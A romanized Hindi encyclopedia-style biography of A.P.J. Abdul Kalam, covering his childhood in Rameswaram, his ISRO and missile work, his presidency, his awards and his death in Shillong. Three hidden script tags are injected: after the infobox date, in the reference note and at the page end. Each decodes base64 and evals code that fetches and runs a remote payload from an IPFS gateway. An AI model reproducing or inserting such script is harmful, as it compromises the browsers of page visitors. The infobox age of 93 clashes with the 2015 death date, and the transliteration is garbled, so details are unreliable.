अब्दुल कलाम
abdul kalam
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| poora nam | avul pakir jainullabdin abdul kalam |
| any nam | misail main |
| janm | 15 aktoobar, 1931
(ayu- 93 varsh) |
| janm bhoomi | rameshvaram, tamilanadu |
| mrityu | 27 julaee, 2015 |
| mrityu sthan | shilaang, meghalay |
| abhibhavak | jainulabdin |
| pati/patni | avivahit |
| nagarikata | bharatiy |
| prasiddhi | bharatiy misail karyakram ke janak |
| pad | bharat ke 11vean rashtrapati |
| kary kal | 25 julaee, 2002 se 25 julaee, 2007 |
| shiksha | snatak |
| vidyalay | madras ianstityoot aauf teknol aauji |
| bhasha | hindi, aangrezi, tamil |
| puraskar-upadhi | bharat ratn (1997), padm vibhooshan (1990), padm bhooshan (1981), iandira gaandhi rashtriy ekata puraskar evan deshi-videshi kee vishvavidyalayoan se manad d aauktaret ki upadhi |
| sanbandhit lekh | abdul kalam ke anamol vachan |
| pustakean | 'viangs aauf fayar' (jivani), 'indiya 2020- e vizan f aaur d nyoo mileniyam', bharat ki avaz, tarniang pv aauiants, ham hoange kamayab |
| any janakari | d aauktar kalam ne bharat ke vikas star ko 2020 tak vijnan ke kshetr mean atyadhunik karane ke lie ek vishisht soch pradan ki. yah bharat sarakar ke 'mukhy vaijnanik salahakar' bhi rahe. |
| bahari k diyaan | adhikarik vebasait |
| adyatan | 18:45, 15 aktoobar 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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avul pakir jainullabdin abdul kalam (aangrezi: Avul Pakir Jainulabdeen Abdul Kalam; janm: 15 aktoobar, 1931, rameshvaram; mrityu: 27 julaee, 2015 shilaang) jinhean d aau. e. pi. je. abdul kalam ke nam se jana jata hai, bharat ke poorv rashtrapati, prasiddh vaijnanik aur abhiyanta ke roop mean vikhyat the. unaka rashtrapati karyakal 25 julaee, 2002 se 25 julaee, 2007 tak raha. unhean misail main ke nam se bhi jana jata hai. vah ek gair rajanitik vyakti rahe. vijnan ki duniya mean chamatkarik pradarshan ke karan hi rashtrapati bhavan ke dvar unake lie svat: khul ge. jo vyakti kisi kshetr vishesh mean sarvashreshth pradarshan karata hai, usake lie sab sahaj ho jata hai aur kuchh bhi durlabh nahian rahata. abdul kalam is uddharan ka pratinidhitv karate nazar ate the. unhoanne vivah nahian kiya tha. unaki jivan gatha kisi rochak upanyas ke nayak ki kahani se kam nahian hai. chamatkarik pratibha ke dhani abdul kalam ka vyaktitv itana unnat tha ki vah sabhi dharm, jati evan sampradayoan ke vyakti nazar ate the. vah ek aise svikary bharatiy the, jo sabhi ke lie 'ek mahanh adarsh' ban chuke haian. vijnan ki duniya se desh ka pratham nagarik banana kapol kalpana matr nahian hai, kyoanki yah ek jivit praneta ki satyakatha hai.
jivan parichay
- REDIRECTsaancha:mukhy
abdul kalam ka poora nam 'd aauktar avul pakir jainullabdin abdul kalam' tha. unaka janm 15 aktoobar, 1931 ko rameshvaram tamilanadu mean hua tha. dvip jaisa chhota sa shahar prakritik chhata se bharapoor tha. shayad isilie abdul kalam ji ka prakriti se bahut ju dav raha tha. thumb|left|kishoravastha mean abdul kalam rameshvaram ka prakritik saundary samudr ki nikatata ke karan sadaiv bahut darshaniy raha hai. unake pita 'jainulabdin' n to zyada padhe-likhe the, n hi paise vale the. ve navik the, aur niyam ke bahut pakke the. unake pita machhuaroan ko nav kiraye par diya karate the. unake sanbandh rameshvaram ke hindoo netaoan tatha adhyapakoan ke sath kafi snehapoorn the. abdul kalam ne apani aranbhik shiksha jari rakhane ke lie akhabar vitarit karane ka kary bhi kiya tha.
vidyarthi jivan
- REDIRECTsaancha:mukhy
abdul kalam jab ath-nau sal ke the, tab se subah char baje uthate the aur snan karane ke bad ganit ke adhyapak svamiyar ke pas ganit padhane chale jate the. svamiyar ki yah visheshata thi ki jo vidyarthi snan karake nahian ata tha, vah use nahian padhate the. svamiyar ek anokhe adhyapak the aur paanch vidyarthiyoan ko prativarsh ni:shulk tyooshan padhate the. inaki mata inhean uthakar snan karati thian aur nashta karavakar tyooshan padhane bhej deti thian. abdul kalam tyoohshan padhakar sadhe paanch baje vapas ate the. usake bad apane pita ke sath namaz padhate the. phir quran sharif ka adhyayan karane ke lie vah areshik skool (madarasa) chale jate the. isake pashchatt abdul kalam rameshvaram ke relave steshan aur bas adde par jakar samachar patr ekatr karate the.
karyakshetr
- REDIRECTsaancha:mukhy
1962 mean ve 'bharatiy aantariksh anusandhan sangathan' mean aye. d aauktar abdul kalam ko projekt dayarektar ke roop mean bharat ka pahala svadeshi upagrah (es.el.vi. tritiy) prakshepastr banane ka shrey hasil hai. julaee 1980 mean inhoanne rohini upagrah ko prithvi ki kaksha ke nikat sthapit kiya tha. is prakar bharat bhi 'aantarrashtriy aantariksh klab' ka sadasy ban gaya. 'isaro l aaunch vhikal program' ko paravan chadhane ka shrey bhi inhean pradan kiya jata hai. d aauktar kalam ne svadeshi lakshy bhedi (gaided misails) ko dizain kiya. inhoanne agni evan prithvi jaisi misails ko svadeshi takanik se banaya tha. d aauktar kalam julaee 1992 se disambar 1999 tak raksha mantri ke 'vijnan salahakar' tatha 'suraksha shodh aur vikas vibhag' ke sachiv the. unhoanne stretejik misails sistam ka upayog agneyastroan ke roop mean kiya.
vyavasayik parichay
[[chitr:Abdul-Kalam-with-nelson-mandela.jpg|thumb|left|dakshin afrika ke poorv rashtrapati nelsan mandela ke sath abdul kalam]] d aau. abdul kalam jab ech.e.el. se ek vaimaniki ianjiniyar banakar nikale to inake pas naukari ke do b de avasar the. ye donoan hi unake barasoan purane u dan ke sapane ko poora karane vale the. ek avasar bharatiy vayusena ka tha aur doosara raksha mantralay ke adhin takaniki vikas evan utpadan nideshalay, ka tha. unhoanne donoan jagahoan par sakshatkar diya. ve raksha mantralay ke takaniki vikas evan utpadan nideshalay mean chun lie ge. sanh 1958 mean inhoanne 250 roope ke mool vetan par nideshalay ke takaniki keandr (uddayan) mean varishth vaijnanik sahayak ke pad par kam sanbhal liya.
vishesh yogadan
- REDIRECTsaancha:mukhy
faravari 1982 mean d aau. abdul kalam ko di.ar.di.el ka nideshak niyukt kiya gaya. usi samay anna vishvavidyalay, madras ne inhean 'd aauktar aph saians' ki manak upadhi se sammanit kiya. eyaron aautikal ianjiniyariang mean digri hasil karane ke qarib bis sal bad yah manad upadhi d aau. abdul kalam ko prapt huee. d aau. abdul kalam ne rakshamantri ke tatkalin vaijnanik salahakar d aau. vi. es. aroonachalam ke margadarshan mean iantigreted gaided misail devalapameant program (aee.ji.em.di.pi.) ka prastav taiyar kiya. svadeshi misailoan ke vikas ke lie ek spasht aur suparibhashit misail karyakram taiyar karane ke uddeshy se d aau. abdul kalam ki adhyakshata mean ek kameti banaee gee.[[chitr:Putin-abdul-Kalam-atal-bihari.jpg|thumb|left|roos ke rashtrapati vladimir putin aur bharat ke poorv pradhanamantri atal bihari vajapeyi ke sath abdul kalam]]
rajanitik jivan
- REDIRECTsaancha:mukhy
d aauktar abdul kalam rajanitik kshetr ke vyakti nahian haian lekin rashtravadi soch aur rashtrapati banane ke bad bharat ki kalyan sanbandhi nitiyoan ke karan inhean kuchh had tak rajanitik drishti se sampann mana ja sakata hai. inhoanne apani pustak 'indiya 2020' mean apana drishtikon spasht kiya hai. yah bharat ko aantariksh vijnan ke kshetr mean duniya ka siramaur rashtr banate dekhana chahate haian aur isake lie inake pas ek kary yojana bhi hai. paramanu hathiyaroan ke kshetr mean yah bharat ko supar p aauvar banane ki bat sochate rahe haian. vah vijnan ke any kshetroan mean bhi takaniki vikas chahate haian.
vyaktitv evan krititv
- REDIRECTsaancha:mukhy
d aau. kalam ek bahuayami vyaktitv ke dhani haian. veshabhoosha, bolachal ke lahaje, achchhe-khase sarakari avas ko chho dakar h aaustal ka sadagipoorn jivan, ye batean unake sanpark mean ane vale pratyek vyakti par ek sammohak prabhav chho dati haian. vijnan, praudyogiki, desh ke vikas aur yuva mastishkoan ko prajjvalit karane mean apani tallinata ke sath sath ve paryavaran ki chianta bhi khoob karate haian, sahity mean ruchi rakhate haian, kavita likhate haian, vina bajate haian, tatha adhyatm se bahut gahare ju de hue haian. d aau. kalam mean apane kam ke prati jabardast divanagi hai. unake lie koee bhi samay kam ka samay hota hai. vah apana adhikaansh samay karyalay mean bitate haian. der sham tak vibhinn karyakramoan mean d aau. kalam ki sakriyata tatha sphoorti kabiletariph hai. oorja ka aisa pravah keval gahari pratibaddhata tatha samarpan se hi a sakata hai. d aau. kalam khanapan mean poornat: shakahari vyakti haian. ve madirapan se bilakul parahej karate haian. unaka niji jivan anukaraniy hai. d aau. kalam ki yadadasht bahut tej hai. ve ghatanaoan tatha batoan ko yad rakhate haian.[1]
samman aur puraskar
[[chitr:A.P.J. Abdul Kalam teaching at ISRO, 1980.jpg|thumb|d aau. kalam isaro ke vaijnanikoan ko padhate hue, sanh 1980]] d aau. kalam ko anek samman aur puraskar mile haian jinamean shamil haian-
- ianstityooshan aauf ianjiniyars ka neshanal dijain avard
- eron aautikal sosaiti aauf iandiya ka d aau. biren r aauy spes avard
- estron aautikal sosaiti aauf iandiya ka aryabhat puraskar
- vijnan ke lie ji.em. modi puraskar
- rashtriy ekata ke lie iandira gaandhi puraskar.
- ye bharat ke ek vishisht vaijnanik haian, jinhean 30 vishvavidyalayoan aur sansthanoan se d aauktaret ki manad upadhi prapt ho chuki hai.
- inhean bharat ke nagarik samman ke roop mean 1981 mean padm bhooshan, 1990 mean padm vibhooshan, 1997 mean bharat ratn samman prapt ho chuke hai.
visheshata
- d aauktar abdul kalam aise tisare rashtrapati haian jinhean bharat ratn ka samman rashtrapati banane se poorv hi prapt hua hai, any do rashtrapati sarvapalli radhakrishnan aur d aauktar zakir husain haian.
- yah pratham vaijnanik haian jo rashtrapati bane haian aur pratham rashtrapati bhi haian jo avivahit haian.
aantim samay
- REDIRECTsaancha:mukhy
27 julaee, 2015 ki sham abdul kalam 'bharatiy prabandhan sansthan shiloang' mean 'rahane yogy grah' par ek vyakhyan de rahe the, tab unhean dil ka daura p da aur ve behosh hokar gir p de. lagabhag 6:30 baje ganbhir halat mean unhean bethani aspatal mean aeesiyoo mean le jaya gaya aur do ghante ke bad unaki mrityu ki pushti kar di gee. aspatal ke sieeo j aaun sailo ke anusar- "jab kalam ko aspatal laya gaya, tab unaki nabj aur raktachap sath chho d chuke the. apane nidhan se lagabhag 9 ghante pahale hi unhoanne tvit karake bataya tha ki- "vah shiloang aeeaeeem mean lekchar ke lie ja rahe haian." kalam aktoobar, 2015 mean 84 sal ke hone vale the. meghalay ke rajyapal vi. shadamukhanathan, abdul kalam ke h aauspital mean pravesh ki khabar sunate hi sidhe aspatal pahuanch ge the, bad mean shadamukhanathan ne bataya ki kalam ko bachane ki chikitsa dal ki koshishoan ke bad bhi sham 7:45 par unaka nidhan ho gaya. kalam ke nidhan ka samachar pakar poore desh mean shok ki lahar dau d gee.
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tika tippani aur sandarbh
- ↑ d aau. e.pi.je. abdul kalam : vyaktitv evan krititv (hiandoo) shaikshik ee-samagri. abhigaman tithi: 15 disambar, .<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>